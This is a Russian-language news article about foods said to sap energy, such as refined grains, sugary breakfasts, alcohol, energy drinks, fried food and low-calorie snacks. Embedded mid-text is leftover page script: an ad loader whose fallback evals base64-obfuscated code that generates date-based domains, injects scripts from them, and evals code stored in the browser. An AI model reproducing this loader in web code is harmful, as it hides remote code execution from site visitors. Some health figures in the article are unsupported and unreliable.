Продукты питания влияют не только на вес человека и его здоровье. Они дают организму силы и энергию. Однако в течение дня уровень энергии может сильно падать и это связано не только с усталостью и стрессами, а с продуктами питания.
Специалисты назвали продукты-вампиры, которые мы едим каждый день и которые лишают нас энергии. Об этом пишет издание Glavred.
Белый хлеб, макароны и рис
В этих продуктах содержатся обработанные зерна и зачастую от них вреда больше, чем пользы. При обработке внешний слой зерна, в котором есть волокна, удаляется и от этого клетчатки в таких продуктах меньше. Они перевариваются и усваиваются быстрее, чем цельные. И способны вызвать повышение уровня сахара в крови и уровня инсулина – а это ведет к снижению энергии.
Сухие завтраки, йогурты и продукты с сахаром
Молочные продукты почти все содержат сахар. Это касается и сухих завтраков. Считается, что сухой завтрак с йогуртом – отличный завтрак, но это не так. Оба продукта содержат сахар и это приведет к резкому повышению сахара и инсулина в крови, что приведет сначала к подъему энергии, а потом к резкому спаду.
Алкоголь
Спиртные напитки обладают расслабляющим действием и люди неоднократно заявляли, что небольшая доза алкоголя за ужином помогает легко уснуть. Однако алкоголь может снизить качество сна и его продолжительность, что негативно скажется на качестве отдыха в целом. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Энергетические напитки
Такие напитки дают кратковременный заряд энергии и могут повысить концентрацию и память примерно на 42%. Также они убирают сонливость и добавляют бодрости. Однако в таких напитках содержится большое количество кофеина и сахара. В одной баночке – 52 г сахара (10 чайных ложек). Это приводит к повышению сахара и инсулина в крови и соответственно, сначала к резкому подъему энергии, а потом спаду.
Жареная еда и фаст-фуд
В таких продуктах содержится огромное количество жиров и низкое содержание клетчатки – эти два фактора замедляют пищеварение. А вместе с ним замедляется скорость поступления питательных веществ, которые повышают энергию.
Кроме того, в фаст-фуде и жирных продуктах почти не содержатся витамины, минералы и другие питательные вещества. Обычно после такой еды хочется отдохнуть, а не заняться каким-то делом.
Низкокалорийные продукты
Такие продукты люди выбирают для перекусов и считают, что это более здоровый выбор и не будет последствий в виде лишнего веса. Однако недостаток калорий тоже имеет последствия. Если организму не будет хватать калорий – то ощущение усталости неизбежно. (adsbygoogle = window.adsbygoogle || []).push({});
Подписывайтесь на Акцент в
Источник: https://akzent.zp.ua/eti-produkty-kradut-energiyu-i-sily-spetsialisty-nazvali-chto-isklyuchit-iz-ratsiona/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
